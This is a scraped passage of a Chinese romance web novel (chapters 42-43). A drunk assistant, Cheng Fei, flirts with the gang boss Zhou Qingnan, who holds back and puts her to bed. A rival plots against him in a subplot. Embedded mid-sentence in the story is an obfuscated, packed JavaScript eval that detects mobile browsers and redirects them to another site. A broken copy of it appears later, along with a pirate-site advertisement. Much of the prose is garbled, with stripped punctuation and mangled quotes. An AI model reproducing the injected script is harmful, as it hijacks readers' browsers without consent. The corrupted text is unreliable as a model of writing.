“……沙发?”程菲微蹙眉有点担心“那怎么休息得好呀。” 周清南闻声盯着她挑了下眉“那我跟你睡?” 程菲:“……” 程菲被生生呛了下黑线脸无言沉默。 “除了我任何敲门都不许开。”周清南拿起换洗衣物和房卡经过她时顿了下步盯着她沉声问道“记住没?” 程菲被他的气场慑住一句话没敢多说稀里糊涂地就呆呆点了点头“记住了。” “乖。” 周清南夸她一句嘴角懒洋洋地勾了勾转过身开门离去。 * 周清南前脚一走程菲后脚就给自己洗了个五分钟的战斗澡完了也不敢换睡裙而是从行李箱里翻出一件拼多多凑单买的宽松大T恤和宽松大裤衩往身上一套上床睡觉。 一分钟过去紧张不安心跳如雷睡不着。 十分钟过去忐忑窘迫心跳如雷睡不着。 …… 到第二十五分钟时程菲依然没睡着。 她烦躁地抓了抓头发心想:心跳这么快脑子这么清醒能睡着才有鬼了!可是如果睡不着一会儿那位大佬从健身房回来她岂不是还得跟他相处? 这不是在对她实施精神酷刑吗? 啊! 程菲内心土拨鼠咆哮。捏了捏眉心就在这时她脑子里灵光一闪浮现出今天在机场洗手间时狗头军师给她的人生建议:酒精助眠。 对啊。有酒就好了小酌几杯一觉就能睡到大天亮。 程菲边蹙眉 第 42 章 吻。 第42章吻。 听完姑娘郑重其事的一番话,周清南沉默。 半秒后,他侧目,又看了眼地毯上那几个东倒西歪的空啤酒罐子,数了数。 不多不少,整四个。 距离也不远,周清南胳膊一伸就随手捡过来一个罐子,面无表情低眸,瞧上面的包装。 精酿原浆麦芽啤,品牌名没听过,但整体的包装还算精致,估计是平南本地酒商在星级酒店铺的货。 度数比普通啤酒高得多,酒精含量百分之19,已经算是烈性啤酒。 简单扫视完空罐子上面的包装信息,周清南视线微抬,又再次看向身前的程菲。 很典型的南方女孩子体格,骨架细而小,身上的纯色大棉T明显宽松太多,不合身,将她本就纤软的身段衬得更加单薄。披散在肩颈后方的头发乌黑并且浓密,那张巴掌大的脸蛋也显得更小,两颊晕着酒后的浅浅酡红,眼眸如星,亮得逼人。 整个人软绵绵的,有种从骨头缝里透出来的纯真和媚态。 一看就已醉得分不清东南西北。 周清南直勾勾地盯着程菲看,拿舌尖顶了下嘴里的后槽牙,微微眯起眼。 之前怎么没看出来,这小东西还是个酒仙。 一个人锁屋里闷声不响地干四罐。 挺能耐啊。 周清南把掌心里的纸巾揉成一团,顺手丢进旁边的垃圾桶,看着她问,“自己还能站起来不?” 程菲这会儿脑子晕乎得很,看周清南都有重影,只看见他好看的薄唇动了几下像在说什么,却根本理解不了内容。 她的注意力全在被他丢掉的纸巾上,不满地皱起眉,咕哝道:“你干嘛呀,我的贞洁之刃。我搓了好半天才搓好,你给我扔了干什么……” 周清南闭眼掐眉心,有那么一个瞬间,觉得这小妮子简直就是老天爷派来治他的。 半秒后,重新睁开眼睛。 “那只是一团纸。”他语气柔几分,耐着性子平静地跟她讲道理,“不是刀,没有任何杀伤力也保护不了你自己。” “谁说我要保护自己了。”程菲仰着脖子看他,神色格外严肃,“都说那是送你的,让你关键时刻守护自己的清 白,免得遭我毒手。 “谢谢。 “怎么用不上了…… 喝多了姑娘脑子不清醒,完全讲不通道理,说话的同时身子动了动,接着就要往垃圾桶方向爬,手脚并用,“我要把我的贞洁之刃捡回来。 “…… 周清南语气和神色皆沉下几分,板着脸:“程助理。 这称呼生疏又充满威慑力,换成平时正常状态下的程菲,听见这位大佬这么喊自己,分分钟被吓得战战兢兢,老实得不能能再老实。 但这会儿整四罐烈性啤酒下了肚,她不仅头脑迷糊思维混乱,甚至连胆量都比平时大好几倍。 听见周清南那声“程助理,她眼皮都不带抬的,只面无表情哼了声,非常高冷地道:“你喊我程爸爸都不好使。 周清南:“。 周清南让她气笑了,眼瞧着那姑娘已经爬到垃圾桶旁边,一副身残志坚不达目的就决不罢休的姿态,他终于认栽般地叹出一口气,走过去,弯腰一把将她的胳膊给捞住。 程菲这头手都已经抬起来,正准备伸进垃圾桶翻找,冷不防被一只大掌半道给捏住拦下,不禁茫然地眨了眨眼,抬起头来。 周清南耷拉着眼皮神色无奈,径自伸手弯腰,将那个揉成一团的纸巾捡起来,递到她眼前。 “孺子可教也。程菲弯嘴角,手掌在他肩膀上重重拍了把,“事关阁下的贞洁问题,千万收好啊,别又弄丢了。 周清南一滞,侧眸瞥了眼那只搁他肩上的瓷白小手,稍顿半秒,然后又定定看向她,轻声道:“现在东西捡回来了,请问你现在可以进屋睡觉了吗?这位喝醉酒的小姐。 “喝醉? 大概是被这话刺激到了哪片逆鳞,程菲听后瞬间皱起眉,竖起一根食指指向自己,“你说谁,我吗? 周清南没什么表情地注视着她,没搭腔。 “区区四罐啤酒而已,你觉得我会喝醉?程菲像是听见了什么很滑稽的笑话,瞳孔晶亮地瞪着他,满脸的傲色,“你知不知道我外号叫什么? 周清南发现这姑娘喝醉之后挺可爱,也不急着赶她进屋睡觉了,双臂懒洋洋往胸前一环,好整以暇地瞧着她 :“叫什么。 程菲正色:“赛酒仙。 说的域名qiexs?(请来企鹅小 说 看最新章节 完整章节) 周清南:“。 “想当年我们大学毕业的时候吃散伙饭,我代表女生团出战,凭一己之力单挑了班上六个男生。程菲嘴角一勾,笑得轻蔑又骄矜,“就这实力,你给句客观评价,就说我牛不牛吧? 周清南颔首,表情冷静,冲她竖了个大拇指,“你是这个。 “我堂堂赛酒仙,会被四罐啤酒给灌醉?程菲说着说着就打了个酒嗝,抬手拍拍心口给自己顺了顺气,食指比划出来左右摇摆,“不可能,绝对不可能。 其实程菲这话真没吹牛逼。 她从小在平谷菜市场的矮平房一片长大,周围圈子里的长辈同辈,无论男女,就没几个不沾酒的。程家二老以及槐叔顾姨都是性情中人,也没有传统观念里“女孩子不能喝酒,喝酒抽烟就不是好女孩儿这种偏见,自打程菲满了十八岁,每年的年夜饭上她都会给长辈们敬酒以示尊敬。 长此以往,她的酒量也就在顾姨槐叔的亲身教导下有了点长进,平时跟温舒唯小姐妹聚餐,喝个四五瓶啤酒不在话下。 其实说实话,程菲这会儿的眼神确实还是清明的,瞳孔又亮,并不显得迷离。 如果不是她脸上的两朵红云实在太惹眼,刚才又一本正经昭告垂涎他美色想要睡了他,周清南说不定还真会信她没喝醉。 “为什么忽然在屋里喝酒?周清南忽然问。 “为什么喝酒……程菲嘴里重复了一遍这句话,反应两三秒才明白过来这五个字的字面意义,打了个哈欠揉眼睛,含混着回,“因为睡不着啊,喝点酒头晕乎乎的,比较好入睡。 听完这个回答,周清南没多说什么。 见姑娘软趴趴地伏着在沙发坐垫,一副折腾累了好像终于有了点睡意的样子,周清南转过身,动手倒了一杯热茶,单手捏着杯子给她递过去。 程菲懒懒的,动都懒得动,只拿余光扫去一眼:“这什么东西。 “茶。周清南耐着性子说。 她眯起眼睛,拿一副警戒的眼神觑他,接着道:“我妈妈跟我说,陌生人给的饮料不能随便喝。说到这里,她又稍稍顿了下,换上副更加神秘的口吻,继续,“尤其是像你这么帅的坏男人 。 周清南:“。 周清南盯着她,低声说道:“那你妈妈难道没跟你说过,别在坏男人面前喝酒? 程菲竖起一根手指,隔着空气戳戳他高挺的鼻梁骨,很平静:“我妈说男人都是毒药,越帅的坏男人毒性越强。 她这两句说得没头没尾,周清南眉峰挑高一寸,表示疑惑。 又听这姑娘更加淡定地继续:“酒精可以杀毒。 “…… 周清南刚才回房间,进屋就闻到酒味儿,后面又看见小姑娘跟只醉猫似的窝在那儿神志不清“搓宝剑,还挺窝火的。 但到这会儿,他真是什么不爽都让她给消磨光了。 周清南闭眼捏了下眉心,见这丫头死活不肯接这杯茶,也不强迫她喝了,直接往旁边的边几上一放,弯了腰、重新半蹲回她跟前。 “你现在觉得怎么样。周清南轻声问程菲。 程菲脑子沉得很,光靠一根脖子的力量支撑不住,索性抬起两只胳膊捧住脸颊,半耷着眼皮懒懒地瞧他。 听完这位大佬的问句,她又迟钝地理解了会儿,然后才哼哼两声,回他:“我再跟你说一遍,我没喝醉。 “知道你没醉。 周清南懒得跟她犟,也学她的造型,在地毯上坐下来,高大身躯懒洋洋往沙发坐垫一靠,顺着她随口说,“就问你感觉。 程菲两手托腮笔直地望着他,眼神头回这么勇,不躲也不闪。 看见男人微侧头,扫了眼墙上挂钟的时间,接着又随手从裤兜里摸出一个烟盒跟一个金属打火机,像是准备要点一根的样子。 他人好看,手指也长得无可挑剔,指骨关节之间的衔接弧度完美,连手背上的青筋和血管,都透着股撩人的劲儿。 烟盒翻转倒过来,食指漫不经心敲两下,一根香烟便从豁开的缺口露出个头。 周清南将烟取出,也不点火也不往嘴里放,就捏在手里把玩。 察觉到来自身旁的眼神注视,他把玩香烟的动作稍顿了下,眼皮上撩寸许,直勾勾地迎视她。 两人就这么对视上了。 酒精在大脑的每根神经里肆虐,程菲整个人分明又昏又懵神志不清,一双黑白分明的眸却比之前更亮,也不知道 哪儿来的勇气,也直勾勾看着周清南。 片刻。 程菲动了动唇,说:“你问哪种感觉。 周清南垂眼盯着她,深橘色调的光线里,他眼神里的光也比平日暗:“比如头晕不晕,胃里难不难受。 “哦,你说这个感觉。程菲了悟地点点头。 周清南嗓音出口,听着莫名有点儿沙哑:“那你以为我在说什么。 程菲明亮的眼望着他,很认真地回答:“我以为你在问我对你的感觉。 周清南:“。 她说完,又突地倾身往他贴近些许,声音压低几分,补充:“刚才我不是说有想睡你的感觉吗?我以为你要找我确认一下,我现在是不是欲.火焚身。 周清南:“…… * 千里之外的滨港市,市中心某高档娱乐会所。 这家娱乐会所是叶家旗下的产业之一,私人会员制,不对外营业,平时只接待会员名单内的达官显贵,普通人甚至连踏进这间会所大门的资格都没有。 会所三层,走廊上灯光昏暗,蓝紫色调的光晕在空气中浮跃。 不多时,一架从一楼升上的电梯缓缓停下,电梯门打开,两道人影从里面走了出来。 走在前面领路的女孩儿也就二十出头的年纪,穿一件水蓝色的修身旗袍,身段婀娜明眸皓齿,是这间会所的服务生。而跟在女孩儿身后的,则是一名穿深色职业装的高挑女子。 她戴着一副墨镜,面上的皮肤白得没有丝毫血色,嘴唇涂着艳色口红,浑身气质冷淡而性.感. 服务生领着女子一路向前,没一会儿,两人停在了走廊尽头处的豪华包间前。 “请您稍候。服务生朝女子露出个甜美笑容,而后便抬起手,轻轻将房门扣响,柔声道,“叶总,您等的客人来了。 里头的人应了一句“进,服务生便低眉垂首说是,伸手将包间的两扇梨花木雕花木门推开,转头对身后的女子笑笑,柔声说:“请进。 女子点了下头,提步入内。 包间里有女孩在唱歌,声线清灵悦耳,竟不输娱乐圈的当红女歌星。除了拿着话筒唱歌的女孩儿外,满屋子莺莺燕燕数不清。 这些姑娘们看起来都很年轻,面容 姣好身材惹火,有的穿短裙有的穿热裤,身上皮肤全都白得惹眼。 她们坐在包间正中的大沙发上,正软声甜笑簇拥在一个年轻男人身旁。 女子目光落在男人身上,微微一笑,唤道:“叶总好。” 那头,叶家公子刚咽下一颗美人喂来的极品妃子笑,听见这个声音,他凤眼微斜,凉凉瞥了一眼戴墨镜的女人,态度并不友好:“哟,这不是梅氏的孙秘书吗,什么风把你吹到我这儿来了?” 孙秘书面上的笑容一丝不减,回道:“叶总,我今天过来,是替我家四少爷来帮您一个小忙。” “给我帮忙?”叶晋冷笑出声,忽然猛一扬手,把桌上的一瓶洋酒挥翻在地。 酒瓶在地上摔得粉碎,女孩们被吓得花容失色,噤若寒蝉。 叶晋冷冷看着孙秘书,咬着牙道:“上回一棍子没把我砸死,怎么,不甘心?又想出什么损招来整我?少在这儿黄鼠狼给鸡拜年。” 孙秘书笑着说:“叶总,四少让我来告诉您,您的仇家已经不在滨港了。” 叶晋一愣,思索几秒后,皱起眉:“我的仇家?樊放还是贺温良?” 孙秘书:“周清南。” 叶晋闻言眼神微变,眯了眯眼睛,没有说话。 “四少知道,上回的事让您在道上丢了面子,他心里也很过意不去。为表歉意,专程让我来告诉你这个消息。”孙秘书说,“毕竟您也知道,樊放和贺温良不过是周清南手下的两条狗,您这么大个人物,折的面子,得从狗主人身上讨回来才行。” 叶晋思索几秒,又问:“周清南人在哪儿?” 孙秘书:“兰贵。” 叶晋垂了眼皮,摩挲着戒指若有所思。 孙秘书又低声续道:“在滨港,没人动得了周清南,可是出了滨港,强龙难压地头蛇呀。” 片刻,叶晋心里有了主意。 他转眸看向孙秘书,又感到一丝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13717612|94205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不解,警惕道:“我和梅四少就打过几次照面,也没什么交情。而且我们叶家和你们梅家之间可是死敌,他为什么要帮我报仇?” 孙秘书笑着回答:“因为四少说了,敌人的敌人就是朋友。” 叶晋沉声:“梅四想要周清南的命?” “当然不是。”孙秘书 上前几步倾身贴近叶晋耳侧 * 周清南十几岁进梅家本该在校园的篮球场上追逐奔跑挥洒青春的年纪他却已经一脚跨进暗无天日的深渊。 无数次以命相搏无数次死里逃生他一步一步接近樊正天再踩着樊正天的尸体取而代之成为梅凤年手下的第一头马回首过去周清南甚至有些恍惚不知道自己究竟是怎么坚持到的现在。 那些灯红酒绿虚与委蛇的夜晚周清南厌烦到极点。 可是这条路那样长长得看不见尽头他像个苦行僧没有回头路只能咬牙苦撑步步向前。 本以为他这辈子命数已定注定要在十八层地狱里受尽磨砺。 却不想那个晚上她像是一团火闯进他的生命竟让他在地狱深处窥见了一抹照入无间的天光。 从此这枯草般死寂无望的人生便终于多出了一丁点的乐趣与温暖。‘ 聊以慰藉。 上回看人喝酒出洋相是什么时候?周清南有点儿记不清了。 周清南深陷泥潭沼泽身边龙蛇混杂什么样的鱼虾败类都有酒品烂的人多得说不清。但如今他的身份地位摆在那儿已经极少有人敢在他面前酒后失言。 更别说像这样直接在他面前耍疯撒野的了。 周清南依旧笔直看着程菲薄唇微抿目光暗沉。 夜已经深了套房里格外安静暖色的暗调光线渗进空气平添几丝暧昧。 不多时。 周清南反手将边几上的茶杯端起来再一次送到程菲眼前说:“把茶喝了然后进卧室睡觉。” 他说话的语气有些沉声音也既低又哑强势不容悖逆。之前是商量劝诫这回直接就是个命令。 但醉酒牛犊不怕虎这会儿的程菲可不怕他“黒帮大佬”的身份。 闻言程菲只是略微歪了下脑袋一双亮晶晶的眼还是毫不避让地跟周清南对望。 觉得有点儿奇怪。 他们两个之间明明还隔了一段距离她却能从他浅色的桃花眼里看见唯一一个自己红红的脸蛋微乱的发丝清晰异常。 程菲脸蛋的 温度越来越烫连带着将她的手掌心都烤得发热。她舔了舔嘴唇有点口渴看眼周清南递来的茶水这次没有再拒绝而是伸手接过来。 仰脖子一口喝了个光。 喝完拿手背豪情万丈地擦擦嘴巴将喝空的杯子颠倒着往下一扣跟个绿林好汉似的:“好酒。” 周清南:“……” 周清南怕她拿不稳杯子会被摔碎的陶瓷碎片划伤一把给她抢过来放到旁边。 “自己能不能走稳?”周清南又问了她一遍最开始那个问题。 程菲这会儿头已经晕得很了舌头也开始有点打结稀里糊涂地回他:“当然走得稳。不仅能走我还能给你跳一段激情迪斯科。” 周清南还没来及说话就看见这姑娘跟哪根筋没搭对似的手肘撑着沙发嗖一下就从地毯上站了起来。 然后用食指轻轻点在自己的嘴唇上朝他眨眼睛纯真无辜地问:“周总想看吗?” 年轻姑娘的声音软而轻白嫩的指尖压着自己粉润饱满的唇瓣睫毛浓密而乌黑一扇一扇的。 扇得周清南食指发痒。 他危险地眯了眯眼睛喉头发紧下意识便轻轻滚了下喉。 一直知道这妮子长得漂亮属于妖娆勾人又不自知的类型 但是此时此刻周清南发现喝醉酒的小仙女已经不是勾人不自知了。 而是明目张胆的诱.惑恣意放肆的勾引。 她问他要不要看自己跳舞时每一次嘴唇的开合每一次眼睫的颤动甚至是指尖在唇瓣上压出的轻褶都在对他释放着某种热情的信号无声引.诱。 周清南眼神暗得深不见底理智告诉他不能再多看她一眼可是目光却移不开像生了根般长在了她身上。 “我真的会跳舞你别不相信。”勾引人的妖精还嫌火不够旺轻声软语笑盈盈的便又在火上浇了一桶油“我小时候学过一段时间兴趣班民族舞功底基本功可扎实了。” “我不想看。”周清南沉沉地吐出一口气来眼神晦暗给她下最后通牒“你现在立刻马上给我进房间睡觉。” “切。”程菲不当回事两只胳膊往腰上一叉像个 任性的茶壶“我就是想跳你不想看可以自挖双目。” 她是真的醉糊涂了说完看见周清南冷沉复杂的面色竟然也没觉得害怕反而还觉得怪有意思噗嗤一声低低笑出来。 周清南:“……” 周清南正要再说什么却看见这姑娘已经举起了手臂边哼起歌边妖娆地扭起了身子。 抬高胳膊这个动作使得她的T恤下摆往上滑露出一截白生生的小腰。 纤细不盈一握皮肤白得像雪像是受不住丁点力道。 “……” 短短几秒周清南看得血气上涌头皮都他妈麻了眸色暗沉几乎是后槽牙挤出两个字:“程菲。” 浓浓的警告加胁迫意味。 程菲像没听见他喊她名字仍旧比划着自己的动作一个旋转脚踝却被旁边的桌腿给绊了下重心不稳失去平衡瞬间就往前方栽倒下去。 周清南站的位置离程菲就几步远怕她摔心一慌想也不想便伸手去接。 拽住姑娘的胳膊往怀里一带眨眼光景 周清南双臂下意识收拢抱住她嗅到她唇齿间浓郁的麦芽香和浑身散发着的温热甜味儿。 程菲这时眼睛都已经闭上了眼皮沉重得像压了千斤巨石怎么掀都掀不开。 她全身没什么力气也懒得挣扎顺势便乖乖巧巧靠在男人胸前。手往对方腰上环发觉指掌下隔着一层布料的肌肉炽烫紧硕手感颇佳暗搓搓地又多摸了两把。 周清南察觉到她没了力气不敢松手本来就难受得很让那只不安分的小爪子一挠再挠顿时倒吸一口凉气。 “你再乱摸一个试试?”他哑声威胁。 话音落地怀里的姑娘不知是被他吓到了还是怎么的竟然真的就消停下来不说话也没了其他动作软绵绵趴他怀里乖得像只露出肚皮打呼噜的猫。 见她不再胡来周清南又闭上眼平复了下调用起所有的自制力强行将身体里越烧越旺的欲.念给压下去。 随后微弓身一手揽住程菲的后腰一手从她雪白细腻的腿弯处穿过将人给一把横抱起来大步流星往卧室走。 这间套房的总共六十 第 43 章 “你水做的?” 第43章“你水做的?” 人类原本就是动物。 这肆无忌惮弥漫的黑夜,太容易催发人体内的兽性因子。 落地窗外的夜风似乎静止了,云层被风吹得飘散开,月亮露出半张脸,弦月如镰,月色如刃。 每一刀都割在周清南已经紧绷成一条线的自制力上。 他没有喝酒,所有的意识和感官都如此敏锐而清晰。 鼻息间嗅到的是程菲身上混着酒味的甜香,指尖碰到的是她细腻如玉又热得烫手的皮肤。左侧脸颊的触感最为奇特,濡湿而柔软,小小一片…… 周清南身体有一刹的僵硬,偏浅的瞳色早已经黑成了两汪墨,比窗外的夜色还暗。 邪火直冲冲就往上窜,烧透四肢百骸每根神经,犹如烈火燎原,眨眼就蔓延向了大脑。 他薄唇紧抿着,轻微侧了下头,黑沉沉的眼睛里便映入一张绯红娇媚的小脸。 这小姑娘也不知哪来的胆子,一双白生生的细胳膊揽住他脖颈,粉色嘴唇往他脸上生猛无比地一怼,亲完也不松手,可能是脑袋实在太晕支撑不住,紧接着又将脸蛋软绵绵地埋入他颈窝,嘴里还哼唧了两声,又像是生理性的舒服,又像是心理性的满足。 她声线天生就软得很,醉酒之后的声音听起来哑哑的,低浓又柔弱,娇得能掐出水来。 周清南眸色更深也更暗,姑娘红扑扑的脸蛋近在咫尺,他视线落上去,眼睛挪不开,心也愈发的痒。 发现她已经轻轻合上了眼帘,浓密的睫毛在小巧的绯色面庞上投下两圈浅淡阴影,看着像是已经疲累困倦,睡沉了,不会再醒来。 周清南盯着眼前的睡颜,眯了眯眼睛,下一秒便伸出两根修长的指,捏住她的下巴,抬起来。 只是十秒。 他在心里给自己设限。 恩赐自己十秒钟的放纵与沉迷,在这个迷离混乱,被酒精翻搅得快要脱轨的晚上。 仅仅的十秒…… 姑娘大约已经睡着,小巧的鼻翼以极轻微的弧度扇动开合,脸蛋两侧的色泽娇艳,像在红酒里浸过的玫瑰,刚豪饮完一大杯的茶,她饱满朱红的唇瓣看上去亮亮的,水润反光。 周清南打量着程菲 无暇的面庞,目光随之继续往下,看向了她脖颈以及锁骨地带。 那些裸露在衣衫布料外的皮肤,白得像雪,近乎能看见皮肤下蜿蜒精细的脉络,宽松的绵质T恤像个大袍子,从外看不出任何曲线,但这个居高临下的俯视视角,他一眼便瞧见那道深深的奶白色沟壑…… “……”周清南沉沉呼出一口气,呼吸蓦地便浊重几分。 这滋味儿怎么形容。 就像是大夏天最炎热的时候走在沙漠里,忽然有人往你嘴里喂了颗冰葡萄,冰凉解暑,甜美多汁,即使知道葡萄浸过剧毒,你也无法抗拒。 怎么抗拒? 周清南现在全身血液都在逆流翻腾,脑子里堆满各类淫邪又荒诞的念头,只想把这块送到嘴边的小果子生吞活剥,吃得骨头都不剩。 而且她明明那么近。 近到他只需低头寸许,就能咬住那张朱润小巧的唇。 夜色越来越暗,暗得像深海区域的那片黑色水流,里面潜藏着能索人性命的海妖,轻轻一句吟唱,便能让人葬身海底。 奇怪的是,喝酒的人分明是她,周清南滴酒未沾,此刻却也有些乱了神志迷了魂魄,依稀听见耳畔有歌声传来,虚无缥缈若有似无,在引.诱他内心深处那些躁动已久的瘾和欲。 要他破戒,要他发狂。 要他放出那头被藏在深渊崖底、永远也见不得光的野兽。 一念恍惚之间,周清南想起了多年前看过的一场雪。 那年他也就十来岁的年纪,跟着父母来到滨港打拼,对生活和未来还充满期待,一家三口住在一间不足三十平的小屋里,日子贫寒却也温馨。 十二岁生日那天,小小的他独自一人坐在出租屋的破沙发上,守着一块廉价的白桃蛋糕,等待父母回来陪他一起切蛋糕,唱生日歌。 那一天,小小少年没有等到回家的爸妈,只等到了父亲出事的消息,警车刺耳的鸣笛声,以及来滨港过后的第一场雪。 北方人对雪不稀奇,但滨港地处中国南部,繁华发达气候温暖,十年也遇不见一回雪。 小小少年走出家门仰头看,纯白雪花从天空飞落,像极了一场洒向人间的瓢泼盐雨。 每一片,每一粒,都蛰着人鲜血淋漓的伤口,痛得人喘不 过气。 这场雪,小小的少年看不出丝毫美感,品不出半分快乐,正要转身回家,耳畔却传来一声欢快又惊喜的轻呼,那声口清甜软糯,脆生生的,像是小黄鹂在树梢发出鸣唱。 那声音里发自内心的欢喜,刺痛了小少年的耳朵。 他皱着眉,转过头去。 是个五六岁的小女孩,小巧精致,像个瓷娃娃。 她穿件浅蓝色的艾莎公主裙,长长的黑色头发上还顶着一朵巨大的蝴蝶结,在漫天的雪花里蹦蹦跳跳地转圈圈。雪花落在她的蝴蝶结上,来不及停留便消散于虚无。 他认识这个瓷娃娃,是邻居家的小公主。 这一片是滨港最贫穷落后的贫民窟,住的都是外来务工的底层穷人,这些家庭条件有限,没办法给家里的小孩提供多好的成长环境,衣服不追求款式新颖,只求不着凉不感冒,每顿饭菜也不讲究营养搭配,以吃饱不饿为宗旨。 但是他知道,这个瓷娃娃是他们这一带娃娃军团里的另类。 她永远有穿不完的公主裙,梳不完的辫子样式,吃不完的各类糖果。 幸福得让人嫉妒又厌恶。 而且,这些雪这么磕碜,哪里好看哪里好玩?比他家乡的漫山雪色差太多。 小少年看了玩雪的小瓷娃娃一会儿,很快便收回了目光,准备离去。 可就在他转身的瞬间,背后却响起一道嗓音,口齿非常清晰,脆生生地喊了他一句:“小哥哥! “…… “一起玩雪吗?小女孩笑嘻嘻地问。 被娇养大的瓷娃娃,哪知道这人间的疾苦与艰辛,竖起一只雪白的小手去接那漫天雪花,却捧不住一粒,似乎从那时起就为一个故事奠定了基调。 佛说人生有七悲八苦,爱别离占其一,求不得也占其一。 当年雪中一次回眸,周清南记了那一幕好多年,至今记得一片小巧枯叶,在风雪的裹挟下与雪一同坠落,刚好掉在瓷娃娃头顶的蝴蝶结旁边。 她笑靥那样灿烂,如骄阳明媚,似乎终于让他感觉到了一丝暖…… 回忆侵袭了大脑,涨潮般点点滴滴渗进意识思维的空间。 周清南手臂搂住怀里的姑娘低头贴近她与此同时缓慢闭上了双眼。 唇与唇之间的距离在缩短不过刹那他已经和她只隔咫尺。 然而就在吻上那张鲜艳唇瓣的前一秒周清南动作顿住了。 他对时间的把控尤为清晰知道允许自己放纵沉迷的十秒钟在这一刻已经耗完。 眉心用力拧起一个结。 心火难消瘾念难平但放任自己继续事情势必会朝着不可想象的方向发展脱了缰离了弦就再也无法转圜。 她只是个小姑娘自幼家境幸福、名校毕业将来还有大好的前景误打误撞和他污秽黑暗的命运缠错交际不过只因一场意外。 她像张白纸懵懂不谙世事但他不同。 他走在一条看不到尽头与光明的道路上踽踽独行内心早已只剩一片荒寒。 如果有将来。即使有将来。 短短零点几秒的光景周清南眉心紧蹙唰一下睁开眼睛意识到自己必须为今夜按下终止键。 怀里的年轻姑娘依旧沉沉睡着睡颜恬静而柔美外界纷扰仿佛都与她不相干她的世界那样纯洁那样干净哪怕只是沾染上一点泥土都是对她的亵渎。 周清南注视着怀中正好眠的女孩目光极深。 片刻他指尖牵起她一缕乌黑的发冰凉凉的发丝在他手指上缠绕一圈又一圈像两人解不开又斩不断的命数。 然后低头在那圈黑发上落下了一个吻。 周清南将程菲重新放回了床上。 醉猫醉归醉力气倒没有完全丧失。 他试着将环在自己脖子上的小手往下扒竟发现她那双纤细的胳膊还有点劲儿给他搂得紧紧的。 周清南有点儿好笑扬扬眉下了力气去掰那两只细生生的胳膊好几秒才扒拉下来再轻柔放进被子里盖好。 接着又替程菲整理好长发调整好枕头的高矮。 做完这一切 又过了好一会儿他才很轻地勾了勾嘴角低声漫不经心地嗤:“喝醉了倒是神勇无敌等第二天酒醒不知道又要窘成什么样。” 话音落地,只见床上的醉猫皱了皱眉毛,翻个身面朝外,嘴里含混地咕哝了两声,看着像是做了个不太好的梦。 程菲翻身的动作踢开了被子,一条纤细的小腿露出来,莹白如雪,细而不柴,腿弯处隐约可见一枚可爱的腿窝,纯欲又勾人。 周清南一眼看见,身体里好不容易压下去的邪火又蹿升好几度,没辙,只能弯下腰,捏住那只雪白的脚脖子给她放回被窝。 然而刚放好,姑娘不知是嫌热得慌还是不舒服,小腿肚子又调皮地钻出来。 周清南眉毛挑高几分,舌尖在嘴里顶了下槽牙,又给她塞回去。 又飞起一脚把被子踢旁边,半点不老实。 “……” 周清南眯了眯眼睛,懒得跟她磨叽了,这回直接俯身将人往怀里一勾,手臂下劲儿调整她睡姿,直接将她从侧睡给翻过来平躺。 手边刚好有个棕色抱枕,他又顺手抄过来,直接给她压在了腿上。 放完抱枕又要起身,谁知下一瞬,本来还睡得很沉的小姑娘竟突然哭起来,先是抽抽搭搭地呜咽几声,然后就开始哇哇大哭,小巧白皙的脸蛋直接皱巴成一只包子,像是受了天大的委屈。 周清南:“……” 周清南这头刚给程菲把腿压好,准备去外面给她弄点热水擦脸,让她可怜兮兮的哭声弄得一愣,整个人瞬间有点儿蒙。 怎么回事? 这怎么说哭就哭了? 他刚才干什么了,难道是抱她的时候手上力道重了点,不小心给她弄疼了? 一时间,周清南心里有点儿慌又有点儿乱,竟然破天荒生出种无所适从的感觉,居然连下一步应该怎么做都很茫然。 梅凤年生性阴狠凉薄,疑心极重,为了成功博得梅凤年的信任,他倾注全部心血,这些年不知帮梅家铲除过多少劲敌,扫清过多少障碍,闯过多少次鬼门关。 即使是离死亡最近的一次,周清南全身上下又是刀伤又是枪伤,命悬一线,他的心都始终静如死水,没有掀起过一丝波澜。 可是现在,仅仅只是看到这姑娘在睡梦中莫名其妙的一次哭泣,他却有史以来第一次,感受到了何为“无措”。 这种感受着实陌生,周清南一时间不知如何处置,愣怔几秒,然后才拧 紧眉试着伸手拍了拍姑娘的肩膀轻声唤她:“程菲?” 对方仍哭个不停眼泪吧嗒吧嗒往下掉眨眼功夫就把她脑袋下的枕头给浸湿了一小片。 “……”周清南猜测她是做了什么噩梦沉默地垂眸瞧着她迟疑片刻将放在她肩膀上的手上移几寸动作轻柔而缓慢覆上了她挂满泪水的颊。 替她将泪水拭去。 男人的指腹结着茧糙糙的一点也不柔软光滑醉酒的人哭得正投入迷糊间察觉到脸蛋上的粗糙痒感不自在极了躲了躲眉头皱得更紧接着便恍恍惚惚地睁开了双眼。 对上那双泪盈盈的眸周清南面色微凝覆在她脸上的大掌微不可察地僵了僵旋即便移开五指将手收回来。 “说哭就哭你水做的?” 他随手从床头柜上抽出一张纸巾低眸擦拭起她脸上残留的泪痕嗓音低得有点儿哑“不知道的还以为我欺负了你。” 程菲脑子还是懵懵的并没有清醒过来。 眼睛糊着泪水看不清东西她抬手揉揉刚哭过鼻腔音很重说话的声音像从瓮里发出来听起来不太清楚:“做了个好难受的梦。” 周清南闻声替她擦泪的动作顿了下。 注意到她用来形容噩梦的词不是“可怕”或者“恐怖”而是“难受”。 周清南低声问:“梦见了什么?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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程菲拿手背擦了把脸,扭头瞪大眼睛瞧他,深沉而严肃地说:“毕竟你是个会用美色蛊惑人心的妖孽,着了你的道,算我定力不强,我认。” 周清南沉默。 她说着还眯了下眼睛,冷哼着续道:“不过你也别太嚣张,等我得到你诱.人的□□,新鲜感消失,我就会立马清醒过来!” 